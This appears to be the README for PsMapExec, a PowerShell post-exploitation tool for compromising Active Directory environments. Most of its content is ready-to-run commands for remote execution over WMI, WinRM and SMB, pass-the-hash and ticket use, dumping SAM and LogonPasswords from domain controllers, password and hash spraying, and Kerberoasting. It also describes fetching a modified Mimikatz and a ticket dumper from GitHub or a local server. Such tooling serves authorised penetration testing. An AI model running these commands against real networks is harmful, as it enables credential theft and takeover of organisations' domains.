What is PsMapExec

A PowerShell tool heavily inspired by the popular tool CrackMapExec / NetExec. PsMapExec aims to bring the function and feel of these tools to PowerShell with its own arsenal of improvements.

PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.

How do I use it

It is highly recommended to go through the documentation listed below to get the most out of PsMapExec. If you do not feel like reading the documentation then simply go to the Usage section further down this document.

Quick examples

# Execute WMI commands over all systems in the domain using password authentication
 PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami

# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami

# Check RDP Access against workstations in the domain and using local authentication
PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth
 
# Dump SAM on a single system using SMB and a -ticket for authentication
PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList

# Dump LogonPasswords on all Domain Controllers over WinRM
PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords

# Use WMI to check current user admin access from systems read from a text file
PsMapExec -Targets C:\temp\Systems.txt -Method WMI

# Spray passwords across all accounts in the domain
PsMapExec -Method Spray -SprayPassword [Password]

PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]

# Spray Hashes across all Domain Admin group users
PsMapExec -Targets "Domain Admins" -Method Spray -SprayHash [Hash]

# Kerberoast 
PsMapExec -Method Kerberoast -ShowOutput

# IPMI
PsMapExec -Targets 192.168.1.0/24 -Method IPMI

Targets Acquisition

Target acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain joined system as a domain user account, no issues should be encountered when acquiring targets. By default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified. IP address targeting is less preffered than using the built in ldap queries.

# All workstations, servers and domain controllers within the domain
PsMapExec -Targets All

# All workstations, servers and domain controllers on the specified domain
PsMapExec -Targets All -Domain [Domain]

# Only servers from the domain (exluding DCs)
PsMapExec -Targets Servers

# Only Domain Controllers from the domain
PsMapExec -Targets DCs

# Only workstations from the domain
PsMapExec -Targets Workstations

# Set the target values to a defined computer name
PsMapExec -Targets DC01.Security.local

# Read targets from file
PsMapExec -Targets "C:\Targets.txt"

# Wildcard filtering
PsMapExec -Targets SRV*

# Single IP Address
PsMapExec -Targets 192.168.56.11

# CIDR Range
PsMapExec -Targets 192.168.56.0/24

Authentication Types

When -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.

# Current user
PsMapExec -Targets All -Method [Method]

# With Password
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# With Hash
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]

# With Ticket
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Local Authentication (WMI only)
PsMapExec -Targets All -Method WMI -LocalAuth

Command Execution

All currently supported command execution methods support the -Command parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Command [Command]

Module Execution

All currently supported command execution methods support the -Module parameter. The module parameter can be appended to the Authentication Types to execute given modules as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Module [Module]

Dependencies

PsMapExec has some dependencies that need to be pulled from outside the script itself in order to use additional modules. Primarily these are:

• Kirby (PowerShell based Kerberos ticket dump)
• Invoke-Pandemonium (Slightly modified Mimikatz)

Currently, they are pulled from a seperate GitHub repository: https://github.com/The-Viper-One/PME-Scripts
If you are working within an environment that has no external access or GitHub is blocked by a firewall you will need to clone the scripts in the respository onto the system from which PsMapExec is running from.

PsMapExec does not currently host a HTTP server for these so you will need to use something like HFS: https://www.rejetto.com/hfs/?f=dl PsMapExec supports pointing to a locally or alternatively hosted server for the script dependencies.

PsMapExec -Targets All -Username [User] -Password [Pass] -LocalFileServer [IP]
